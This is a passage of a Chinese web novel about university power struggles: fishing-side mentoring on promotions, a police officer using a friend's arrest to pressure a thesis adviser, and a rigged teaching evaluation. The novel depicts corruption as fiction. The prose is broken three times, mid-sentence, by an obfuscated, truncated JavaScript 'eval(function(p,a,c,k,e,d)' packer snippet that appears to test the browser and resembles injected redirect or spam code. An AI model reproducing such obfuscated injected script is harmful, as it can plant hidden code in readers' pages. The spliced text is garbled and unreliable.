周濂知道校长有话要讲,赶紧停止往鱼钩上挂饵料。 “这其一呀,打窝要准,下手要稳。”吴若甫抓起一把酒米,手腕轻抖,米粒如细雨般撒落在浮漂周围:“你看,窝子打得好,鱼自然会聚过来。就像现在集聚人缘,不在多,在精准。” 周濂点头称是,心里却在琢磨这话里的深意。 “这其二呢在浮漂。浮漂是鱼的眼睛,其实也是你的眼睛。”吴若甫指了指水中立着的细长浮漂:“小顿口要放,大顿口要打——该出手时就出手,但急躁不得。” 说话间,浮漂微微一颤,周濂急着提醒,吴若甫却不动如山:“这是小鱼闹钩,等它......”,话音未落,浮漂突然一个猛沉,吴若甫手腕一抖,竿梢顿时弯成满弓。 吴若甫缓缓地拉着鱼线:“上鱼了,也别急着收线。鱼越大,越要给它点时间。收得太紧,容易断线;放得太松,又容易脱钩。” 过了许久,水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言罢,周濂意识到言语失敬,赶紧补充道:“当然,您的人脉和威望是无人能敌的。” 吴若甫微微一笑:“我倒想听听你对自身优势的了解。” 看见周濂有些局促,吴若甫脸上露出几分不悦:“你是班子中唯一拥有博士学位的人,前年又获取了博士生导师资格,这些优势还不够么?” 受了鼓舞的周濂兴奋起来:“实际上,我认为自己还有一个重要的优势,那就是您的支持。” 即将退休的人尤其在乎别人的颂扬。吴若甫将内心的满意转化成严肃的提醒:“江川最近动作很多,你还是要引起警惕。你分管教学,最近对那些有投票权的学院院长多用些怀柔的策略,别总是批评,容易得罪人哩。” 周濂频频点头。 “另外,许书记那边,你也不能因为江川攻得厉害就自我放弃,人家毕竟还是书记嘛。工作跟上了,他至少可以保持中立。” 吴若甫重新拉起了竿,周濂连忙替他挂好饵料。鱼钩入水后,吴若甫加重语气说道:“当然,省管干部的决定最终还是由上级来定。昨天我已经和省领导约好,下周还在这里安排一次钓鱼。” 周濂喜出望外,趁机告诉吴若甫稍后请他鉴赏专门寻摸的一方松花石御砚和田玉镇纸。 吴若甫不动声色,缓缓说道:“那位喜欢和田玉,将镇纸给他吧。” 周濂表示了坚决的反对:“这是专门给您备的。另外的我来想办法。” 事情有了着落,周濂主动将话题转移到顾明远身是:“吴校您放心,小顾今后交给我好了。他本来就是块好材料嘛,值得培养。” 吴若甫“呵呵”笑了两声:“好材料不假,但还得有高人雕刻才能成器呀。他目前还嫩得很,满脑子就是学问学问的,今后还是要望复合型方向引导的。你作为他的导师,不就是学习的榜样嘛。” 周濂的脸红了半截:“您过奖了。要说导师,您才是我们所有人的导师。” 说也奇怪,经过吴若甫的一番指导,周濂的运气似乎也变好了许多,开始有鱼儿咬钩了。 21. 情权陷阱 初夏夜风裹挟着槐花最后的执拗甜香,弥漫在梧桐掩映的街道上。顾明远和吴雅娟刚看完一场电影,步履轻慢地游荡在行人稀疏的马路上。 月光如乳白色的轻纱,透过层层叠叠的梧桐叶隙洒下,在人行道上投下斑驳陆离的光影,反而让这条本就幽静的道路更添几分朦胧与私密。顾明远手臂轻轻环住吴雅娟的腰肢,两人的身影在月光下融为一体。偶尔有骑自行车的年轻人吹着戏谑的口哨呼啸而过,也无法惊扰这方只属于他俩的静谧世界。 夫妻二人似乎还沉浸在新婚燕尔这般蜜里调油的日子。这让万素琴看在眼里,急在心头。周末,她照例将小两口“薅”回家里,美其名曰改善伙食,实则要行“教育”之实。 餐桌上摆满了各式佳肴。万素琴一边给女婿女儿夹菜,一边状若无意地开启了话题:“这成了家啊,得抓紧考虑立业呢”。 “表嫂,是应该考虑添丁进口吧?”方姨笑呵呵地插话。 这正中了万素琴的心意,她笑呵呵地在两人脸上逡巡一回:“就是呀。我跟你爸可都盼着早点升级呢。雅娟现在年轻,生了孩子恢复得也快。趁我们现在还有精力,能帮你们带带,不是正好?” 顾明远和吴雅娟私下有过约定,不想急着要孩子。吴雅娟看了顾明远一眼,脸色微红:“妈,这才哪到哪啊,我们还想多过几年二人世界呢。” “二人世界什么时候不能过?”万素琴脸色沉了一些:“孩子才是家庭的纽带和希望。你看周校长,这才五十多点就当上爷爷了。这事明远你得加油的。”万素琴有意把话题抛给故意埋头吃饭的顾明远。 被点名的顾明远差点噎住,只好含糊地点头:“妈说的是…不过,这事也得顺其自然…” “自然是要自然,但也要有心。”万素琴见缝插针:“年轻人不能玩心也别太重了,收收心,早点计划起来。家里有个孩子,笑声都多些,我跟你爸也不至于太冷清。”她的话语里充满了对含饴弄孙生活的向往,也带着不容置疑的催促。 顾明远被说得耳根发热,扒拉完最后一口饭后,邀请一直笑而不语的岳父吴若甫去书房下棋,总算逃离了“催生”现场。 书房里,檀香袅袅。吴若甫摆开象棋,目光深邃地看了女婿一眼说道:“这下棋如同人生,也如同…经营家庭。”他缓缓落下一子:“开局要稳,中盘要搏,但最关键的一步,往往是那‘将军抽车’,一击定乾坤。有时候,看似按兵不动,实则是在积蓄力量,等待最好的时机。”他顿了顿,意味深长地补充道:“这孕育新生命,也讲究个天时地利人和,时机到了,就要果断出手,不能犹豫不决。就像这车,该直捣黄龙的时候,就不能只满足于吃个卒子。” 顾明远很不适应岳父经常云山雾罩旁敲侧击语意双关的说话方式。正不知如何应对,楼下忽然传来一阵洪亮的呼喊声,穿透了夜晚的宁静:“顾明远老师!顾明远老师在吗?” 声音粗犷急切。那是筒子楼传达室老李头特有的嗓门。顾明远心中疑惑,快步走出书房来到客厅阳台,刚探出头,就看见老李头在楼下跺着脚吼道:“顾老师!快!派出所打电话到传达室,让你赶紧去一趟!说是有急事!” “派出所”三个字像一颗冷水泼进了热油锅,吴家客厅瞬间安静下来。万素琴脸上的笑容立刻僵住。吴若甫也蹙眉从书房走出。吴雅娟担忧地看向顾明远。 “派出所?明远,你……”,万素琴的声音带着一丝不易察觉的惊慌。 “妈,我没事,估计是有什么误会,或者是学生出了事情。”顾明远心里也打着鼓,话语间强作镇定。 骑着自行车赶往派出所的路上,顾明远的心绪如同被风吹乱的车轮。他唯一能联想到的,是一个名叫蔡勋的学生。 蔡勋是学校辖区派出所的副所长,正在楚江大学成人教育学院攻读历史学本科,顾明远正是他的毕业论文指导老师。因为毕业论文几乎全文抄袭,前不久被顾明远毫不客气地打了回去并要求重写。论文通过与否直接关系到蔡勋能否如期毕业,而能否如期毕业又直接关系到即将开始的所长竞聘。 “难道……?他不至于因为论文的事找我麻烦吧?”顾明远心里泛起嘀咕,一股不好的预感萦绕心头。 刚踏进派出所大厅,一阵压抑的咆哮声就从隔壁那间挂着“讯问室”牌子的房间里传出来。顾明远在一名警察的示意下走近,一眼看见蔡勋正背对着门,用力拍着桌子。越过蔡勋宽厚的肩膀,顾明远蓦然看清了坐在椅子上的两个人。那位垂头丧气的正是好哥们钟德君,另一位头上缠着绷带的中年男子不曾见过。再看男子旁边立着一个面容姣好、衣着入时的女子。顾明远定睛细看:这不是多年前在火车站有过一面之缘的刘芳吗?只不过当年满是风情卷发如今换了一头如瀑直发。 顾明远瞬间明白了大半:钟德君肯定是老毛病犯了。 蔡勋发现了顾明远的到来,只是目光冷淡地点了点头,随即转身,继续对着钟德君吼叫,语气愈发严厉:“钟德君,你好歹是个大学老师,还懂不懂法?啊!动手打人,你拳头挺硬啊。我可告诉你,故意伤害他人身体,轻则拘留罚款,重则判刑。你这公职还想不想要了?前途还要不要了?” 每一句话都像锤子砸在钟德君身上。顾明远明白,蔡勋的这顿训斥有一多半是说给他这个老师听的。 果然,训完话后,蔡勋将顾明远请到了隔壁办公室,态度既客气又疏离。经过一番询问,顾明远拼凑出了事件轮廓:刘芳利用来武汉出差的机会偷偷与钟德君约会,被一直跟踪刘芳的浙江籍前夫逮个正着,言语不合,钟德君率先动了手……。 “顾老师,”蔡勋递过一杯茶,嘴角带着一丝若有若无的讥讽:“您是文化人,道理比我们懂得多。派出所是执法之地,比学校更讲规矩和证据。按现行的《治安管理处罚条例》,您这朋友,拘留个五天十天,一点不过分。到时候,档案里留下这么一笔,嘿嘿……”。说到这里,蔡勋意味深长地笑了笑。 顾明远的心沉了下去。以他有限的法律知识,知道蔡勋并非危言耸听。他不得不放下老师的架子,硬着头皮问:“蔡所长,你看…这事,有没有可能…协商解决?毕竟对方也有过错…。” “协商?”蔡勋眉毛一挑,打断了他:“顾老师,对方现在坚持要验伤,追究这个钟什么的法律责任。如果这样,那可不是简单的口角纠纷了。”他话锋一转,身体微微前倾,“不过嘛…事在人为。毕竟,钟老师第一个想到的就是您嘛。您肯定也不想看他真为此丢了工作吧?” 蔡勋慢悠悠地品着茶,似乎在给老师顾明远思考的时间。 空气凝滞得让人窒息。 既然来了,顾明远不能见死不救。但蔡勋把他“请”来的真正目的也是显而易见,顾明远仿佛已经能闻到空气中弥漫着一种即将开始的交易味道。沉思片刻,只好艰难开口:“蔡所长…你的论文…最近修改得怎么样了?”他试图维持自己作为教师的尊严和严谨。 这正遂了蔡勋的心意。他脸上立刻露出了笑容,趁机大倒苦水:“顾老师,不瞒您说,真是头疼啊。我们这些在职读成教的,平时工作忙得脚不沾地,实在很难像全日制学生那样静下心来一个一个抠字眼。说实话,我不少朋友在其他学校读成教,也没见象你们这么严格的。不瞒您说,有的甚至只要交钱,就能拿到文凭。咱们楚大这边,特别是您的要求,是不是太严太高了点啊?” 话说得客气,但像针一样锥刺着顾明远的职业尊严。他本来就对成人教育中“重经济效益,轻教学质量”的乱象深恶痛绝,对自己名下学生的论文从不轻易放水,觉得这是对教育净土坚守的必要方式。此刻,面对几乎明目张胆的诘难,顾明远觉得自己的坚守几乎一文不值,尤其在权力和人情面前显得格外苍白。 顾明远别无选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘芳似乎和前夫达成了某种协议,打发走了男人。她理了理头发,踩着高跟鞋,身姿摇曳地走到顾明远面前,脸上绽开娇媚的笑容:“顾老师,好久不见,你还是这么风度翩翩啊。我可是对你印象深刻的。今天真是多亏你了,不知能否赏光,一起吃个便饭?”她的目光大胆地在顾明远脸上流转,试图找回多年前火车站那次短暂相遇时留下的微妙感觉。 顾明远对刘芳并无好感,语气冷淡却不失礼貌:“刘女士客气了,心意领了。家里还有事,先走一步。”说完,不等对方回应,径直跨上自行车。 刘芳眼中闪过一丝失落,呆在原地望着顾明远远去的背影。 钟德君凑上去想跟刘芳套近乎,却被她不耐烦地甩开手臂,高傲地扬起下巴,拦下一辆出租车绝尘而去。 不远处的街角处,浙江男人并没走远,吹着口哨大声用方言嘲笑道:“真是个‘呆大’(傻瓜),‘拎勿清’(搞不清楚状况),这种‘公交车’一样的女人,有什么好稀罕的!” “公交车”三个字像针一样真切地扎进钟德君的耳朵,他顿时怒火中烧,甩开腿就想冲过去揍人。浙江男人见状,嬉笑着飞快跑掉了。 钟德君一口气堵在胸口。眼看着顾明远的自行车快上了坡顶,他突然惊出一身汗来,甩开步子,以百米冲刺的速度撵上了顾明远。钟德君一把拉住顾明远的自行车把,气喘吁吁又带着几分恳求地问道:“老顾!今天这事…你回去不会告诉吴雅娟的吧?” 顾明远刹住车,斜睨着他:“你说呢?” “以咱俩这交情,我相信你不会的!对吧?”钟德君急切地看着他。 “那你还问?”顾明远没好气地回了一句。蹬车欲走,又停下,转过头,神色严肃地警告道:“不过德君,我可提醒你,你是有家室的人啦,别再玩火了!”说完,用力一蹬,自行车加速离去,将钟德君和他那堆剪不断理还乱的麻烦事,远远甩在了身后。 望着顾明远离去的背影,想起他刚才的承诺,钟德君内心的担忧和害怕消减了许多,刘芳凹凸有致的身形和含情脉脉的眼睛又浮现在脑海。想起她已经预订的豪华客房,他的内心如同被无数蚂蚁啃噬,瘙痒难耐。然而,顾明远冷冽的警告言犹在耳,吴雅洁定下的规矩利剑悬头。他内心挣扎万分,最终,所有的郁闷和邪火化为脚力,狠狠踢飞了路边一个空矿泉水瓶。瓶子哐当哐当地滚向远处,一如他此刻混乱而不得解脱的心绪。 22. 教研争锋 午后,香樟树的枝叶风中簌簌作响。吴若甫坐在办公室的椅子上,手指缓缓抚过已经被包浆了的红木办公桌边缘。还有整整十五天,他就要离开这间坐了整整十年的校长办公室。午后的阳光斜斜地洒进来,尘埃在光柱中无声飞舞,像是权力的碎屑在做最后的告别。他的目光贪婪地扫过每一个角落——书架上那套烫金封面的《教育大辞典》、墙上那幅"厚德载物"的书法匾额、窗台上那盆陪伴他多年的绿萝,每一处都刻满了他十年执政的印记。吴若甫深深吸了一口气,忽然觉得连空气都充满着权力的诱人味道,那么令人沉醉,那么让人难舍。他知道,很快就会有新的主人坐在这里,用新的风格取代他的痕迹,就像他当年取代前任那样。这个念头让他的手指不自觉地收紧,在桌面上留下几道短暂的指痕。 正被离愁别绪浸染得有些恍惚,办公室门被轻轻叩响。未等他应答,书记许继武端着茶杯慢悠悠地踱步进来,紫砂壶里飘出太平猴魁特有的兰花香。 "吴校长,这眼看着你要离开了",许继武一边说着一边在对面坐下,看似随意地将茶杯放在桌上:"你情况熟悉,我还是想趁你任上把校长助理的事情定下来的。这也算你这十年画个圆满的句号。" 吴若甫眼角微微抽动。许继武这话说得漂亮,实则是在暗示他时日无多。他不动声色地摩挲着手腕上的和田玉串缓缓开口:"嗨。这十年说长不长,说短不短。咱们搭班子八年了吧,很多事情还是很有默契的",他故意停顿下来端起茶杯轻抿一口后笑道:"人家都说矮子里拔将军,咱们倒是要在两个长人中选一个,这算得上是幸福的烦恼嘛。孟超和冰纶,都是难得的好苗子嘛。" 许继武嘴角微扬,研究是一副笑脸:"吴校长说得是。两人确实确实都很出色,不过......",他话锋一转:"我听说近年历史学院的两个国家课题都没有获批,这确实有些意外。" 吴若甫眼底闪过一丝不悦,却依然保持微笑:"胜败乃兵家常事。当然,历史学院这次意外获批了一项,倒是打了个漂亮的翻身仗。"他故意加重"翻身仗"三个字,暗示财经学院历史上比历史学院差的很远。 两人相视一笑,眼中却各藏锋芒。办公室里一时寂静,只有墙上的时钟滴答作响。其实,在校长助理人选上,吴若甫内心早就倾向了孟超,只不过不愿意在书记面前减了自己的份量,更不愿意让自己的根据地历史学院对自己生发怨恨,有意显出自己和许继武的温差。 "这样吧,"许继武打破沉默:"既然各有所长,不如再看看?马上要学院年度教研测评要开始了,正好再观察观察。" 吴若甫指腹轻轻摩挲杯沿,心中冷笑,嘴上却表示了同意。 早就得知消息的两位公认的“潜力股”孟超、秦冰纶都早已箭在弦上、蓄势待发,在各自的圈子里悄悄活动,为一触即发的战争做着准备。 女性的直觉是一种与生俱来的天赋。尽管比孟超早九个月转正,但秦冰纶深知孟超追赶的步伐正呼呼生风,随时都有超越自己的可能。这种感觉近来越发强烈,就搅得她的心神越发不得安宁。有时她会想起十几年前那个穿着廉价衣服攥着简历站在人事处门口的自己。虽然这些年顺风顺水,但秦冰纶知道,即便自己的步子已经踏上了楚江大学大学这座象牙塔上更高的台阶,但“女人能否胜任”似乎永远都是一道必答题。 现在,站在新的起跑线上,秦冰纶意识到自己要做好这道必答题,还是离不开副校长周濂的支持。这些年来,自己和周濂之间有一种无需言明的默契,就像两把严丝合缝的齿轮,在高速运转的职场机器里保持着精准的咬合。然而,当秦冰纶知道周濂寻求支持时,心思完全放在了继任校长的周濂明显表现出注意力的涣散,只是潦草地建议秦冰纶要多在书记许继武身上下功夫。 这让秦冰纶有些失望。自己何尝不知道许继武的重要,问题是,许继武倾向孟超几乎是公开的秘密,自己怎么从他身上下功夫?难不成……?那也不可能呀,想起许继武老婆钱曼莉威风八面的样子,秦冰纶纵使有心却也无胆的。 一荣俱荣。院办主任沈菊英对闺蜜升迁的事一直挂在心怀。最近,她透露的一个信息让秦冰纶如同在黑暗的山洞里忽然发现了一束光柱:没有子嗣的许继武钱曼莉视为己出的侄儿许达濠至今单身,这已经是夫妻二人的一块心病。 经过深入细致的摸排,秦冰纶了解到,许继武兄弟四人,除许继武没有生育外,其余的三兄弟的子女中,只有许达濠一个男丁。许继武是四兄弟中的老大,自然对这个侄儿视为许家的香火一般的宝贝。偏偏这个侄儿不太争气,两次高考落榜,无奈这下,许继武替他成立了一个建筑装潢公司,好让他有一碗饭吃。许达濠虽然没有多少文化,但人倒是长得高大俊秀、风流倜傥。如今三十出头,整天喜欢灯红酒绿的收获,个人的终身大事一直没有着落。 了解到这些信息后,秦冰纶眼里一亮:这不是天生有缘么?秦冰纶想到了自己的亲表妹——著名历史学家林城外的女儿林思齐。 在无比自信的秦冰纶看来,表妹林思齐算得上是一个品貌才情俱全的可人儿,有时秦冰纶甚至心中会对这个表妹莫名地勇气嫉妒的浪花。林思齐有着一双秋水清波般的丹凤眼,里面漾动的既有粼粼波光,又有娇俏灵动。白大褂似乎掩不住她那亭亭玉立的颀长身段,恰到好处露出的霜雪似的肌肤容易让人想起古代的羊脂玉簪花仕女。说话虽然带着江南水汽浸润过的温软,可字句间常会闪烁着才女特有的伶俐机锋。两年前,表妹林思齐从清北大学医学院毕业后,分配到武汉江南医院做了一名外科医生。 当秦冰纶将自己的想法告诉母亲时,母亲两眼放光、大喜过望。自从妹妹——也就是林思齐的母亲因为车祸意外去世后,外甥女的婚姻大事便一直萦绕在秦冰纶母亲的心头。现在,女儿发现了一个难得的人选,自然不能轻易放过。 按照母亲的授意,秦冰纶打算先探探表妹的口气。姐妹二人虽然年龄是差了十多岁,但关系亲密如月映双影、水合流欢,粘在一起看电影、看展览、登山、逛街是常有的事情。对于表姐最近发起的攻势,林思齐似乎有些无动于衷。当秦冰纶亮出许达濠的照片时,林思齐只扫了一眼,丹凤眼里漾出一抹灵动的狡黠:“这不正是你喜欢的类型嘛。” 秦冰纶被羞得红云漫上了耳尖:“你这死丫头,净说些没边的话。现在是谈你的事呢。别看小许比你大六七岁,他可是出身名门望族,事业有成。现在这样的男生可不好找。” 林思齐唇角微翘,眼尾掠过一丝轻蔑的笑意,“啧啧”两声说道:“秦大美女,你这择偶标准看来是真放低了不少啊。怎么,厅官家就算名门望族,搞装修的就算事业有成了?” 秦冰纶知道自己斗不过话少牙伶的表妹。在林思齐迟迟不给态度的情况下,她让母亲亲自去找姨父林城外说情。 自从妻子意外离开后,林城外将全部感情倾注到了独生女林思齐身上,给与女儿的关心简直可以用无微不至来形容。每周三是女儿医院值夜班的日子,林城外必定骑着自行车拎着保温桶准时出现在三楼的外科医生办公室,保温桶盖子上总会贴着手写的“趁热吃”的便利贴。让一帮年轻的医生护士羡慕感动得眼泪哗啦。林思齐也是懂得感恩的孝顺女儿,母亲去世后,主动放弃了去国外深造的机会,坚决返回武汉就近照顾父亲。 对于女儿个人问题,林城外依然延续了学术上决不专断的一贯做法,完全尊重女儿自己的意愿。但是,在妻妹连续两个礼拜的苦口婆心劝说下,林城外不免有些动摇起来。委婉地试探了女儿几次,林城外最后都会强调一句“尊重自己的意愿”。 林思齐理解父亲的良苦用心。尽管父亲嘴上这样说,但骨子里肯定还是希望自己早日成家。经过几天时间的踌躇,秦冰纶总算等来了表妹的回话:既然表姐你这么想把我推进‘火坑’,那我也只能奋不顾身了。 然而,几次见面下来,林思齐对许达濠似乎没有一点化学反应。在秦冰纶的几番追问下,林思齐淡淡说了“江湖气太重”五个字。这让秦冰纶焦虑如焚,担心好不容易在许继武钱曼莉那里建立前来的好感付诸东流。缓慢的进程自然引起了钱曼莉的不满 。 秦冰纶的一举一动,早就被孟超的两位“包打听”——钟德君、胡莎莎悉数掌握。说实话,孟超对秦冰纶牵线的事情并不十分担忧。毕竟许继武钱曼莉那边已经有了明确态度,校长吴若甫那里私下里也有了倾向性意见。按照许继武的指示,孟超眼下要做的就是确保两天后的对各个学院的年度教研考评中要战胜秦冰纶所在的历史学院。 一年一度的教研综合考评历来是楚江大学对各二级学院综合实力最重要的观察平台。每次考核结果对各学院下一年度的经费安排、招生指标乃至干部提拔都有着举足轻重的作用。因此,每年考评前,各学院院长如临深渊、如履薄冰,使出浑身解数在看不见硝烟的角力场上较劲。表面上客客气气,背地里刀光剑影。 最近三届的考评中,历史学院力压老对手财经学院,两次夺得榜单头名,一次获得第三。相比之下,去年上任院长的孟超立足未稳,财经学院排名第一次跌出了前五。无论从学院形象还是个人前途,孟超这次是憋足了劲要打一场翻身仗,为自己和秦冰纶的竞争添上一枚重重的砝码。 孟超明白,要想赢得这次考评,苦练内功自然必不可少,但外部环境尤为重要。尤其教务处、科技处这两家牵头单位,作用更是无人能及。好在经过这两年“润物细无声”的经营,孟超和教务处长宁望山、科技处长贾振这两位“关键先生”已经建立起了牢不可破的“哥们”关系。为了防止发生意外,考评的前一天晚上,孟超特意挑选了水果湖一家专门接待上流人物的高级酒楼宴请宁、贾二位。 孟超只让自己最信任的钟德君、胡莎莎参与接待。钟德君了解这次宴请的重要程度,通过运作请来了酒楼的“一号”领班亲自在大厅处迎接宁、贾两位处长。 宁、贾二位虽然在楚江大学算是一等一的人物,如此富丽堂皇的高端地方还是头一次进入,内心不免对孟超多了几分敬意。跟在风姿摇曳、仪态万千的领班身后,宁、贾二人犹如刘姥姥初入大观园,敬畏、忐忑与兴奋交织,对走廊上眼花缭乱的高档字画瓷器根雕只敢远观、不敢靠近。 当胡莎莎将两瓶茅台摆上桌面时,贾振看了一眼酒瓶上的标签,两眼瞪得溜圆:“孟院,这一瓶得几千吧?” 宁望山不想失了风度和气势,用略带嘲讽的口吻说道:“老贾,你这是少见多怪。孟院请客,酒不上档次那不是有损他的形象呀。” 孟超轻描淡写:“今天我们兄弟三人只讲感情,不问世俗。” 当黄焖鱼翅、清蒸鲍鱼和冰糖雪燕依次亮相时,钟德君借机斟酒的机会,替孟超说出了想法。无非两层意思:确保财经学院为此前移且压过历史学院一头。 贾振是军人出身,喜欢喝酒的他酒一入肚说话就更加直率,当即表态科研这一块没有问题,说罢,拍着宁望山的肩膀逼着他表态:“望山兄,老孟早晚是要进班子的。我们兄弟今天为他助威,今后他就要替我们两家撑腰的嘛。” 宁望山是号称高校“第一处室”的处长,自己内心其实对这次校长助理竞选也有自己的盘算。他的资历老、城府深,加上出生在知识分子家庭,说起话来不像贾振专班直接,面对孟超举起的酒杯,他的表态分寸拿捏得恰到好处:“我们大家共同努力,共同努力”。孟超心里有些不满,给胡莎莎使了个眼色。胡莎莎拿起酒杯,嗲着声音挽起宁望山的胳膊,逼着他喝了一个交杯酒,眼睛迷离地看着宁望山嗔道:“宁处长也太抽象了嘛。只要你最好大笔一挥,咱们财经学院不就可以翻身得解放的嘛。” 宁望山心机深沉。即便酒意微醺,他仍保持着一份清醒。他借着回敬孟超的机会,将皮球踢给了教学督导委员会那边:“这次学校要求所有指标量化,教学督导会这次负责听课评课。你们的前院长老梅不就是督导委员会的主任吗?” 宁望山这个看似踢皮球的做法一语点醒了孟超。他不露声色地继续喝宁、贾二人在酒桌上觥筹交错。心思却早已飞到了梅大镛的身上。 散席后,孟超让钟德君陪同宁、贾二位继续未竟的“足疗”余兴,自己带着胡莎莎直奔梅大镛家里。 梅大镛最近对孟超上任后没有完全兑现诺言很有意见,因此对孟超的深夜来访显得有些冷淡。孟超早就准备,让胡莎莎拿出一张临时打印好的“给予‘梅大师工作室’八万元课题补贴”的批文递到了梅大镛面前。 梅大镛脸色非常平静,却主动将话题引入道明天即将开始的听课评课活动上来。孟超也不客气,将自己的想法和盘托了出来。胡莎莎更是直接:“梅院长在任时,历史学院可没少给我们带来难堪。这次梅院长可不能饶了他们。” 梅大镛拿起桌子上各个学院上报的听课教师名单,摸着下巴沉吟道:“他们院里的顾明远、杜晓言是两个强点啊。” 孟超有些不屑:“什么强点不强点,那不都是您梅主任一句话吗?”说罢,给胡莎莎使了个眼色,胡莎莎将事先准备好的一个信封塞给了梅大镛。 梅大镛似乎并不满足,忽然抬起头来说道:“对了,梅院长,年初承诺的划拨‘梅大师工作室’的经费,现在还没有完全到位吧?” 孟超故作惊讶看着胡莎莎:“你说这个卓娅也真是的,她分管这块,怎么能这样嘛?胡科长你明天一大早去找卓院长,这事得尽快到位。” 胡莎莎用力点头,梅大镛两眼流光,孟超满意而归。 这次历史学院杯挑中介绍听课评课的老师有五位,是所有学院最多的。不多,秦冰纶对被挑中的老师总体还是有信心的。顾明远已经连续三年被评为“最受学生欢迎的老师”,杜晓言去年全校开展的“青年教师技能比武中位列第三”,两人的实力有目共睹、让人放心。唯一让秦冰纶担心的是江小北。她倒不是担心江小北的讲课水平,而是江小北现在是梅大镛死对头莫笑非的学术秘书,以梅大镛的小心眼,故意给江小北一点刁难那还是极有可能的。 钟德君从胡莎莎那里得到了梅大镛可能刁难历史学院的暗示,心里不禁暗暗替好哥们顾明远捏了一把汗。历史学院和财经学院一直是死对头,钟德君当然希望这次自己学院能战胜历史学院。但是,这几年顾明远帮过自己几次大忙,钟德君又不忍心看着顾明远吃了暗亏。本想连夜去提醒提醒,但奈何已经接近凌晨,钟德君只好指着明天一大早有机会和顾明远碰上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“且从《望海潮》说起——”顾明远话音未落,扮演柳永的男生击节吟诵“东南形胜,三吴都会”,让人脑海中彷佛真有潮声漫过千年时空拍打着教室的窗棂。当课堂内容演绎到乌台诗案的部分时,扮演苏轼的男生褪去方才吟咏“大江东去”的豪迈,眼角发红地吟道:“试问岭南应不好?却道,此心安处是吾乡。”前排的两个女生悄悄拿起纸巾擦拭着眼角。顾明远此刻已经忘记了后排的督导员们,全身心地引领扮演辛弃疾的男生喃喃地解读着“醉里挑灯看剑”的意境……。 最后,当顾明远用十分钟的时间对授课内容进行归纳总结完后,下课铃声想起,课堂发出长时间的掌声。 顾明远心中有些自鸣得意,打不走到后排礼节性地请牛占春他们指导。 出乎意料的是,牛占春脸色冷得寒冰似铁,在指点助手记录完毕后,这才冷冷扫了顾明远一眼:“走,我们看看顾老师的教案吧。” 顾明远并没有照用学校下发的统一的教案本,授课内容全部罗列在二十几张卡片上。牛占春如获至宝,赶紧让随行的人用相机将卡片照了下来。 顾明远第一次遇见督导员带着相机听课的情况,心中涌起了一种不安的感觉。 牛占春一行离开教室时,一位和顾明远有些交往的督导员故意放慢脚步拉了拉顾明远衣袖说了句“当心”后,又快步跟上了牛占春他们的步伐。 三天后,教务处公布了所有院部课堂听课评课结果。在所有78名抽检教师中,顾明远只获得了个及格分数,排在了67位,评语赫然注明不足:首先,未遵循教学规范准备完整教案讲义;其次,将课堂的主导者完全交给学生;第三,沉溺于营造浮夸甚至哗众取宠的课堂热闹……。 历史学院的其他四人似乎也好不到哪里,除了杜晓言拿了个优秀的分数,江小北仅比顾明远的位次高了两位。仅课堂评课这部分,历史学院的总排名在所有十六个学院这排在了第十名,远远落后排在第二名的财经学院。 这样的结果让踌躇满志的秦冰纶有些慌乱起来,连夜央请对科研考评有话语权的莫笑非替历史学院撑腰,加上周濂的暗中发力,历史学院的科研考评攀上了第三名的位次,但在贾振的运作下,财经学院科研考评的成绩只比历史学院落后了一个身位。 最终,在五大指标体系的综合评定中,财经学院高居所有学院的榜首,历史学院也创纪录地跌到了第七名的位置。 历史学院的大退步和女婿顾明远的差成绩,让吴若甫大感意外和大为生气,他特意将历史学院的联系领导周濂召来办公室,责成他亲自主持召开一次历史学院教研工作的反思会。周濂明知这是个被人暗中操弄的结果,也只能将满腹委屈的秦冰纶好好教训了一通。 秦冰纶颇不服气,扬言要提出申诉。现在正是自己冲刺校长大位的关键时期,周濂已经没了往日的温和,音量也提高了许多:“你是院长哩。没有根据的话,不要随便讲嘛。况且你申诉后会有效果吗?” 被击中要害的秦冰纶面露愧色低下了头。她心里清楚:这次和孟超的校长助理之争只怕有些悬了。 果然不出所料,在吴若甫正式退休的前一天,学校召开会议,宣布了对孟超的任命决定。 会议刚一结束,秦冰纶避开散会的人流,踩着风火轮似地回到办公室。门关上的刹那,平日挺拔的身姿像泄了气的皮球,整个人积木般坍塌在沙发上,泪水如瀑布倾泻而出,粉底液被泪水冲花,在脸上划出两道褐色的小河,《红楼梦》中“葬花吟”的凄美旋律在她耳边回响,觉得里面的“花谢花飞飞满天,红消香断有谁怜……”歌词简直是专为自己而写。 “咚咚咚”,外面敲门声执着地响了几轮,伴随着沈菊英小心翼翼的呼唤,秦冰纶只好用纸巾擦拭脸颊后起身开门,一时愣在了原地——沈菊英身后正立着笑呵呵的周濂副校长。 “这不像我记忆中那个乐观开朗、气质高雅的秦冰纶嘛。”周濂用戏谑的口吻说道。 秦冰纶的眼泪一下子又涌了出来,只弱弱地叫了声“周校长”。 周濂自顾坐在椅子上,像是在自言自语:“人生哪能总是顺风顺水的呢。” 秦冰纶知道“官场不相信眼泪”的道理,强挤出些笑容,明显没了往日的热度。 周濂知道秦冰纶心里肯定有些责怪自己,主动开口替自己拣开场子:“你知道我是支持你的,但有人一直盯着你家劳力出国的事不放呢。” 秦冰纶知道周濂的心思,便赌气地说道:“这样说来,我是永远没有指望的咯?” “话也不能这样说嘛。此一时彼一时。万一将来上面对这方面放松了呢。冰纶,你还四十不到呢,凡事要看得开一些、远一点。助理没做成,将来就直接上副校长好了。” 